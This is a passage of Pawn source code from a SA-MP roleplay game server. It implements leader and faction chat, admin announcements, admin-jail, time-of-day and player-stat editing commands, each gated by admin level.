				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /leaderchat <Text>");
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				new arank[64];
				if(PlayerInfo[playerid][pLeader] == 1 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{0000ff}Leader"; } // Police Department [ 1 ]
				else if(PlayerInfo[playerid][pLeader] == 2 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{0000CC}Leader"; } // FBI [ 2 ]
				else if(PlayerInfo[playerid][pLeader] == 3 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{2c4c9b}Leader"; } // National Guard [ 3 ]
				else if(PlayerInfo[playerid][pLeader] == 4 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{FF6600}Leader"; } // Medic [ 4 ]
				else if(PlayerInfo[playerid][pLeader] == 5 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{5D7E8D}Leader"; } // The Silence Mafia [ 5 ]
				else if(PlayerInfo[playerid][pLeader] == 6 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{3E3535}Leader"; } // The Killers Family [ 6 ]
				else if(PlayerInfo[playerid][pLeader] == 7 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{BBF060}Mayor"; } // Mayor [ 7 ]
				else if(PlayerInfo[playerid][pLeader] == 8 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{8E2323}Leader"; } // Hitman Agency [ 8 ]
				else if(PlayerInfo[playerid][pLeader] == 9 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{825B8C}Leader"; } // News Reporter [ 9 ]
				else if(PlayerInfo[playerid][pLeader] == 10 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{FFFF00}Leader"; } // Taxi Company [ 10 ]
				else if(PlayerInfo[playerid][pLeader] == 11 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{00a6ff}Leader"; } // School Instructor [ 11 ]
				else if(PlayerInfo[playerid][pLeader] == 12 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{19AF23}Leader"; } // Dangerous Tigers Family [ 12 ]
				else if(PlayerInfo[playerid][pLeader] == 13 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{FFBA00}Leader"; } // Legendary Men Family [ 13 ]
				else if(PlayerInfo[playerid][pLeader] == 14 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{B32CF6}Leader"; } // Fast N Furious [ 14 ]
				else if(PlayerInfo[playerid][pLeader] == 15 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{00ECEC}Leader"; } // Storm Men Family [ 15 ]
				else if(PlayerInfo[playerid][pLeader] == 16 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{F9F7CE}Leader"; } // Tow Truck Company [ 16 ]
				else if(PlayerInfo[playerid][pLeader] == 17 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{7A7399}Leader"; } // Unknowns Family [ 17 ]
				else if(PlayerInfo[playerid][pLeader] == 19 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{0E47FF}Leader"; } // Top Boys [ 19 ]
				else if(PlayerInfo[playerid][pLeader] == 20 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{60F565}Leader"; } // San Fiero Police Department [ 20 ]
				else if(PlayerInfo[playerid][pLeader] == 21 && PlayerInfo[playerid][pAdmin] == 0) { arank = "{7D633B}Leader"; } // SoldierShip [ 21 ]
				else if(PlayerInfo[playerid][pAdmin] == 1) { arank = "{F5DEB3}Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 2) { arank = "{F5DEB3}Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 3) { arank = "{F5DEB3}Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 4) { arank = "{F5DEB3}Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 5) { arank = "{F5DEB3}Admin"; }
				else if(PlayerInfo[playerid][pAdmin] == 6) { arank = "{F5DEB3}Supervisor"; }
				else if(PlayerInfo[playerid][pAdmin] == 7) { arank = "{F5DEB3}Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 8) { arank = "{F5DEB3}Hoster"; }
				else if(PlayerInfo[playerid][pAdmin] == 9) { arank = "{F5DEB3}Hoster"; } //sssss
				else if(PlayerInfo[playerid][pAdmin] == 10) { arank = "{F5DEB3}CM Assistant"; }
				else if(PlayerInfo[playerid][pAdmin] == 11) { arank = "{F5DEB3}CM Manager"; }
				else if(PlayerInfo[playerid][pAdmin] == 12) { arank = "{F5DEB3}CM Founder"; }
				else if(PlayerInfo[playerid][pAdmin] == 13) { arank = "{F5DEB3}CM Scripter"; }
				else { arank = "{C60000}Admin"; }
					format(string, sizeof(string), " %s {33CCFF}%s: {FFFFFF}%s {F5DEB3}", arank, sendername, result);
							if (PlayerInfo[playerid][pLeader] >= 1 || PlayerInfo[playerid][pAdmin] >= 1)
				{
						SendLeaderMessage(COLOR_LCA, string);
						WriteAdminLog(string);
					printf("Leader %s: %s", sendername, result);
				}
			}
			return 1;
		}




/*
if(strcmp(cmd, "/subleaderchat", true) == 0 || strcmp(cmd, "/sc", true) == 0)
		{
			if(PINFO[playerid][pRank] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[64];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /SubLeaderChat <Text>");
				new arank[64];
				if(PlayerInfo[playerid][pLeader] == 1) { arank = "{0000ff}PD SubLeader"; } // Police Department [ 1 ]
				else if(PlayerInfo[playerid][pLeader] == 2) { arank = "{0000CC}FBI SubLeader"; } // FBI [ 2 ]
				else if(PlayerInfo[playerid][pLeader] == 3) { arank = "{2c4c9b}NG SubLeader"; } // National Guard [ 3 ]
				else if(PlayerInfo[playerid][pLeader] == 4) { arank = "{FF6600}Medic SubLeader"; } // Medic [ 4 ]
				else if(PlayerInfo[playerid][pLeader] == 5) { arank = "{5D7E8D}The Silence SubLeader"; } // The Silence Mafia [ 5 ]
				else if(PlayerInfo[playerid][pLeader] == 6) { arank = "{3E3535}The Killers SubLeader"; } // The Killers Family [ 6 ]
				else if(PlayerInfo[playerid][pLeader] == 7) { arank = "{BBF060}Mayor"; } // Mayor [ 7 ]
				else if(PlayerInfo[playerid][pLeader] == 8) { arank = "{8E2323}Hitman SubLeader"; } // Hitman Agency [ 8 ]
				else if(PlayerInfo[playerid][pLeader] == 9) { arank = "{825B8C}News Reporter SubLeader"; } // News Reporter [ 9 ]
				else if(PlayerInfo[playerid][pLeader] == 10) { arank = "{FFFF00}Taxi SubLeader"; } // Taxi Company [ 10 ]
				else if(PlayerInfo[playerid][pLeader] == 11) { arank = "{00a6ff}School SubLeader"; } // School Instructor [ 11 ]
				else if(PlayerInfo[playerid][pLeader] == 12) { arank = "{19AF23}Dangerous Tigers SubLeader"; } // Dangerous Tigers Family [ 12 ]
				else if(PlayerInfo[playerid][pLeader] == 13) { arank = "{FFBA00}Legendary Men SubLeader"; } // Legendary Men Family [ 13 ]
				else if(PlayerInfo[playerid][pLeader] == 14) { arank = "{B32CF6}Fast N Furious SubLeader"; } // Fast N Furious [ 14 ]
				else if(PlayerInfo[playerid][pLeader] == 15) { arank = "{00ECEC}Storm Men SubLeader"; } // Storm Men Family [ 15 ]
				else if(PlayerInfo[playerid][pLeader] == 16) { arank = "{F9F7CE}Tow Truck SubLeader"; } // Tow Truck Company [ 16 ]
				else if(PlayerInfo[playerid][pLeader] == 17) { arank = "{FF0000}Staff"; } // Staff Family [ 17 ]
				else if(PlayerInfo[playerid][pLeader] == 19) { arank = "{0E47FF}Top Boys SubLeader"; } // Top Boys [ 19 ]
				else if(PlayerInfo[playerid][pLeader] == 20) { arank = "{60F565}SFPD SubLeader"; } // San Fiero Police Department [ 20 ]
					format(string, sizeof(string), "%s {99FF66}%s{FFFFFF}: {00FF00}%s", arank, sendername, result);
							if (PlayerInfo[playerid][pLeader] >= 1)
				{
						SendLeaderMessage(COLOR_GG, string);
					printf("Leader %s: %s", sendername, result);
				}
			}
			return 1;
		}
*/
	// ----------------------------------------------

	// CM Chat

	// ----------------------------------------------
	//lc chat by SINA
	/*
	if(strcmp(cmd, "/chatmafia2", true) == 0 || strcmp(cmd, "/cm2", true) == 0)
		{
			if(PINFO[playerid][pLeader] == 0 && PlayerInfo[playerid][pMember] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 2) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 3) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 4) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 10) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 11) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(PINFO[playerid][pLeader] == 16) return SCM(playerid, COLOR_YELLOW2, "Error: Only Leader's Can Use This Command. ");
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[64];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result)) return SCM(playerid,COL_SYN,"Syntax: /cm <Text>");
				new arank[64];
				if(PlayerInfo[playerid][pLeader] == 5) { arank = "{5D7E8D}<< The Silence Mafia Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 6) { arank = "{333334}<< The Killers Family Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 12) { arank = "{05b11d}<< Dangerous Tiger Family Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 13) { arank = "{ffcc00}<< Legendary Men Family Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 14) { arank = "{B32CF6}<< Fast N Furious Family Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 15) { arank = "{00ECEC}<< Storm Men Family Leader >>"; }
				else if(PlayerInfo[playerid][pLeader] == 17) { arank = "{FF0000}<< Staff / Founder >>"; }
				else if(PlayerInfo[playerid][pLeader] == 19) { arank = "{0E47FF}<< Top Boys Leader >>"; }
				else if(PlayerInfo[playerid][pMember] == 5) { arank = "{5D7E8D}<< The Silence Mafia Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 6) { arank = "{333334}<< The Killers Family Rank Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 12) { arank = "{05b11d}<< Dangerous Tiger Family Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 13) { arank = "{ffcc00}<< Legendary Men Family Rank Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 14) { arank = "{B32CF6}<< Fast N Furious Family Rank Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 15) { arank = "{00ECEC}<< Storm Men Family Rank Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 17) { arank = "{FF0000}<< Staff / Founder Rank Member >>"; }
				else if(PlayerInfo[playerid][pMember] == 19) { arank = "{0E47FF}<< Top Boys Rank Member >>"; }
					format(string, sizeof(string), " %s {33CCFF}%s:{FFFFFF} %s {E04343}", arank, sendername, result);
				if (PlayerInfo[playerid][pLeader] == 5 || PlayerInfo[playerid][pLeader] == 6 || PlayerInfo[playerid][pLeader] == 12 || PlayerInfo[playerid][pLeader] == 13 || PlayerInfo[playerid][pLeader] == 14 || PlayerInfo[playerid][pLeader] == 15 || PlayerInfo[playerid][pLeader] == 16)
				{
					SendLeadermMessage(COLOR_GG, string);
					printf("Leader %s: %s", sendername, result);
				}
				if (PlayerInfo[playerid][pMember] == 5 || PlayerInfo[playerid][pMember] == 6 || PlayerInfo[playerid][pMember] == 12 || PlayerInfo[playerid][pMember] == 13 || PlayerInfo[playerid][pMember] == 14 || PlayerInfo[playerid][pMember] == 15 || PlayerInfo[playerid][pMember] == 16)
				{

					SendMemberMessage(COLOR_GG, string);
					printf("Member %s: %s", PlayerInfo[playerid][pRank], sendername, result);
				}
			}
			return 1;
		}
	*/
	//--------------------------------------------------------------------------------------
		if(!strcmp(cmd,"/cnn",true))
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /cnn <Type> <Time(In Second)> <Text>");
			new typp = strval(tmp);
			if(typp < 0 || typp > 6) return SCM(playerid,COL_SYN,"Invalid Type.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /cnn <Type> <Time(In Second)> <Text>");
			new times = strval(tmp)*1000;
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /cnn <Type> <Time(In Second)> <Text>");
			new AlRo[50];
			format(AlRo, 50, "~b~%s: ~w~%s", PINFO[playerid][pName], tmp);
			GameTextForAll(AlRo, times, typp);
			return 1;
		}

		if(strcmp(cmd, "/idajail", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /idajail <Playerid/PartOfName> <time(Seconds)> <reason>");
					return 1;
				}
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /idajail <Playerid/PartOfName> <time(Seconds)> <reason>");
								return 1;
							}
							format(string, sizeof(string), "You Jailed %s.", giveplayer);
							SendMessage(playerid, COLOR_LIGHTRED, string);
							format(string, sizeof(string), "You were Jailed by Admin %s.", sendername);
							SendMessage(playa, COLOR_LIGHTRED, string);
							ResetPlayerKolang(playa);
							SetPlayerWantedLevel(playa,0);
							PlayerInfo[playa][pJailTime] = money*60;
							SaveKonVal(playa, "pJailTime", PINFO[playa][pJailTime]);
							format(string, sizeof(string), "You are jailed for %d seconds", money);
							SendMessage(playa, COLOR_WHITE, string);
							format(string, 256, "AdmCmd: %s has been Admin-Jailed For %d minutes by Admin %s, Reason: %s", giveplayer, money, sendername, (result));
							BroadCast(COLOR_LIGHTRED,string);
							format(string, sizeof(string), "AdmCmd: %s has been Admin-Jailed for %d minutes by %s, Reason: %s", giveplayer, money, sendername, (result));
							//printf("%s",string);
							SpawnPlayer(playa);
							strmid(PlayerInfo[playa][pJailBy],sendername,0,strlen(sendername),40);
							SaveKonStr(playa, "pJailBy", sendername);
							strmid(PlayerInfo[playa][pJailReason],(result),0,strlen((result)),128);
							SaveKonStr(playa, "pJailReason", (result));
							PlayerInfo[playa][pAdminJailed] = 1;
							SaveKonVal(playa, "pAdminJailed", 1);
							new mem[512];
							format(mem, sizeof(mem), "%d Seconds", money);
							AddLog(PlayerInfo[playa][pName], PINFO[playerid][pName], (result), mem, 12);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

	//----------------------------------[TOD]-----------------------------------------------

		if(strcmp(cmd, "/tod", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /tod <timeofday> (0-23)");
					return 1;
				}
				new hour;
				hour = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					SetWorldTime(hour);
					format(string, sizeof(string), "** Time set to %d Hours.", hour);
					BroadCast(COLOR_GRAD1, string);
					new admname[512];
				   GetPlayerName(playerid, admname, sizeof(admname));
				   format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s sets TimeOfDay to %d.",admname, hour);
					ABroadCast(COLOR_AdminWarn,string,5);
				}
				else
				{
					  SCM(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
					  return 1;
				}
			}
			return 1;
		}


	//-----------------------------------editstat---------------------------------------
		if(strcmp(cmd, "/setstat", true) == 0 || strcmp(cmd, "/setstats", true) == 0)
		{
		if (PlayerInfo[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
							SendClientMessage(playerid, COL_SYN, "Syntax: /Setstat <Playerid/PartOfName> <Statcode> <Amount>");
							SendMessage(playerid, COL_SYN, "|1 Level |2 Mats skill |3 BankAccount");
							SendMessage(playerid, COL_SYN, "|4 PhoneNumber |5 RespectPoints |6 HouseKey |7 BizKey");
							SendMessage(playerid, COL_SYN, "|8 FMember |9 FRank |10 Detectiveskill |11 Lawyerskill |12 MechanicSkill");
							SendMessage(playerid, COL_SYN, "|13 NewsSkill |14 JackSkill |15 DrugSkill");
							SendMessage(playerid, COL_SYN, "|16 Lawyer Points |17 VehicleID |18 Rob Points |19 FPunish");
							SendMessage(playerid, COL_SYN, "|20 Fwarn |21 Sex |22 RobSkill");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);

				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendClientMessage(playerid, COL_SYN, "Syntax: /Setstat <Playerid/PartOfName> <Statcode> <Amount>");
							SendMessage(playerid, COL_SYN, "|1 Level |2 Mats skill |3 BankAccount");
							SendMessage(playerid, COL_SYN, "|4 PhoneNumber |5 RespectPoints |6 HouseKey |7 BizKey");
							SendMessage(playerid, COL_SYN, "|8 FMember |9 FRank |10 Detectiveskill |11 Lawyerskill |12 MechanicSkill");
							SendMessage(playerid, COL_SYN, "|13 NewsSkill |14 JackSkill |15 DrugSkill");
							SendMessage(playerid, COL_SYN, "|16 Lawyer Points |17 VehicleID |18 Rob Points |19 FPunish");
							SendMessage(playerid, COL_SYN, "|20 Fwarn |21 Sex |22 RobSkill");
							return 1;
						}
						new stat;
						stat = strval(tmp);
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendClientMessage(playerid, COL_SYN, "Syntax: /Setstat <Playerid/PartOfName> <Statcode> <Amount>");
							SendMessage(playerid, COL_SYN, "|1 Level |2 Mats skill |3 BankAccount");
							SendMessage(playerid, COL_SYN, "|4 PhoneNumber |5 RespectPoints |6 HouseKey |7 BizKey");
							SendMessage(playerid, COL_SYN, "|8 FMember |9 FRank |10 Detectiveskill |11 Lawyerskill |12 MechanicSkill");
							SendMessage(playerid, COL_SYN, "|13 NewsSkill |14 JackSkill |15 DrugSkill");
							SendMessage(playerid, COL_SYN, "|16 Lawyer Points |17 VehicleID |18 Rob Points |19 FPunish");
							SendMessage(playerid, COL_SYN, "|20 Fwarn |21 Sex |22 RobSkill");
							return 1;
						}
						GetPlayerName(playerid, sendername, sizeof(sendername));
						GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
						new amount;
						amount = strval(tmp);

							switch (stat)
							{

								case 1:
								{

									PlayerInfo[giveplayerid][pLevel] = amount;
									SaveKonVal(giveplayerid, "pLevel", amount);
									SetPlayerScore(giveplayerid,PlayerInfo[giveplayerid][pLevel]);
									format(string, sizeof(string), "{FFFFFF}%s's level was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's level to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your level to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 2:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pMatsSkill] = 300;
									SaveKonVal(giveplayerid, "pMatsSkill", 300);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pMatsSkill] = 200;
									SaveKonVal(giveplayerid, "pMatsSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pMatsSkill] = 100;
									SaveKonVal(giveplayerid, "pMatsSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pMatsSkill] = 50;
									SaveKonVal(giveplayerid, "pMatsSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pMatsSkill] = 0;
									SaveKonVal(giveplayerid, "pMatsSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's materials skill was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's materials skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your materials skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 3:
								{
									PlayerInfo[giveplayerid][pAccount] = amount;
									SaveKonVal(giveplayerid, "pAccount", amount);
									format(string, sizeof(string), "{FFFFFF}%s's bank money was set to $%s", PINFO[giveplayerid][pName], FormatNumber(amount));
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's bank money to $%s", sendername, giveplayer, FormatNumber(amount));
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your bank money to $%s", sendername, FormatNumber(amount));
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 4:
								{
									new length = strlen(tmp);
									if(length != 7) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid phone number entered.");
									SetPlayerNumber(giveplayerid,playerid,amount);
									return 1;
								}
								case 5:
								{
									PlayerInfo[giveplayerid][pExp] = amount;
									SaveKonVal(giveplayerid, "pExp", amount);
									format(string, sizeof(string), "{FFFFFF}%s's respect points was set to %s", PINFO[giveplayerid][pName], FormatNumber(amount));
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's respect points to %s", sendername, giveplayer, FormatNumber(amount));
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your respect points to %s", sendername, FormatNumber(amount));
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 6:
								{
									PlayerInfo[giveplayerid][pPhousekey] = amount;
									SaveKonVal(giveplayerid, "pPhousekey", amount);
									format(string, sizeof(string), "{FFFFFF}%s's house key was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's house key to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your house key to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 7:
								{
									PlayerInfo[giveplayerid][pPbiskey] = amount;
									SaveKonVal(giveplayerid, "pPbiskey", amount);
									format(string, sizeof(string), "{FFFFFF}%s's biz key was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's biz key to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your biz key to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 8:
								{
									PlayerInfo[giveplayerid][pMember] = amount;
									SaveKonVal(giveplayerid, "pMember", amount);
									format(string, sizeof(string), "{FFFFFF}%s's faction member was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's faction member to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your faction member to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 9:
								{
									PlayerInfo[giveplayerid][pRank] = amount;
									SaveKonVal(giveplayerid, "pRank", amount);
									format(string, sizeof(string), "{FFFFFF}%s's faction rank was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's faction rank to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your faction rank to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 10:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pDetSkill] = 400;
									SaveKonVal(giveplayerid, "pDetSkill", 400);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pDetSkill] = 200;
									SaveKonVal(giveplayerid, "pDetSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pDetSkill] = 100;
									SaveKonVal(giveplayerid, "pDetSkill", 100);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pDetSkill] = 50;
									SaveKonVal(giveplayerid, "pDetSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pDetSkill] = 0;
									SaveKonVal(giveplayerid, "pDetSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's detective skill was set to %d", PINFO[giveplayerid][pName], amount);
									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's detective skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your detective skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 11:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pLawSkill] = 250;
									SaveKonVal(giveplayerid, "pLawSkill", 250);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pLawSkill] = 200;
									SaveKonVal(giveplayerid, "pLawSkill", 200);
									}
									if(amount == 3)
									{
									PlayerInfo[giveplayerid][pLawSkill] = 150;
									SaveKonVal(giveplayerid, "pLawSkill", 150);
									}
									if(amount == 2)
									{
									PlayerInfo[giveplayerid][pLawSkill] = 50;
									SaveKonVal(giveplayerid, "pLawSkill", 50);
									}
									if(amount == 1)
									{
									PlayerInfo[giveplayerid][pLawSkill] = 0;
									SaveKonVal(giveplayerid, "pLawSkill", 0);
									}
									format(string, sizeof(string), "{FFFFFF}%s's lawyer skill was set to %d", PINFO[giveplayerid][pName], amount);

									new strr[144];
									format(strr, sizeof(strr), "[Admin-Warn]:{FFFFFF} Admin %s sets %s's lawyer skill to %d", sendername, giveplayer, amount);
									ABroadCast(COLOR_AdminWarn,strr,1);

									new ws[144]
									format(ws, sizeof(ws), "%s sets your lawyer skill to %d", sendername, amount);
									SendMessage(giveplayerid, COLOR_LIGHTRED, ws);
								}
								case 12:
								{
									if(amount >= 6) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount < 0) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid skill.");
									if(amount == 5)
									{
									PlayerInfo[giveplayerid][pMechSkill] = 400;
									SaveKonVal(giveplayerid, "pMechSkill", 400);
									}
									if(amount == 4)
									{
									PlayerInfo[giveplayerid][pMechSkill] = 200;
